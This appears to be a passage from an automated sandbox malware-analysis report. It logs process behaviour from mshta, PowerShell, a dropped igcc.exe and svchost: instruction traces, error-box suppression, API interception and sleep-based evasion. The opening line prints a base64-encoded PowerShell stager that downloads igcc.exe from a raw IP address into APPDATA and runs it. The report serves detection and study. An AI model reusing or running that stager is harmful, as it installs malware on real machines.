CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00A956D2 push esp; ret	3_2_00A95711
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0001C508 push A30001BAh; retn 0001h	12_2_0001C50D
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00038945 push ecx; ret	12_2_00038958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041E85A push cs; ret	13_2_0041E85D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041A963 push edi; retf	13_2_0041A96E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00411BB0 pushfd ; ret	13_2_00411BB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041EC21 push 00000043h; iretd	13_2_0041EC23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00403430 push eax; ret	13_2_00403432
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00414483 push edi; retf	13_2_0041448E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00418566 push esp; ret	13_2_00418567
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004015D0 push esp; ret	13_2_004015D2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A309AD push ecx; mov dword ptr [esp], ecx	13_2_03A309B6
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4FFAB push es; retf	15_2_06A5007E
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A3F785 push B53FFD23h; retf	15_2_06A3F78A
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A46CE8 pushfd ; ret	15_2_06A46CE9
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A495BB push edi; retf	15_2_06A495C6
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A53D59 push 00000043h; iretd	15_2_06A53D5B
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4FA9B push edi; retf	15_2_06A4FAA6
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4E0A0 push 0000007Eh; retf	15_2_06A4E0AF
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4D860 pushad ; ret	15_2_06A4D873
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4D85D push ecx; ret	15_2_06A4D85E
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A53992 push cs; ret	15_2_06A53995

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000148D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		12_2_000148D7
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00095376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		12_2_00095376

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\igcc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\igcc.exe	API/Special instruction interceptor: Address: 1455194
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372D324
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372D7E4
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372D944
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372D504
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372D544
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372D1E4
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC3730154
Source: C:\Windows\SysWOW64\AtBroker.exe	API/Special instruction interceptor: Address: 7FFCC372DA44

Source: C:\Windows\SysWOW64\mshta.exe	Window / User API: threadDelayed 9987	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5860	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3864	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Window / User API: threadDelayed 3919	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Window / User API: threadDelayed 6054	Jump to behavior

Source: C:\Users\user\AppData\Roaming\igcc.exe	API coverage: 4.5 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %

Source: C:\Windows\SysWOW64\mshta.exe TID: 7576	Thread sleep count: 9987 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 5860 > 30	Jump to behavior
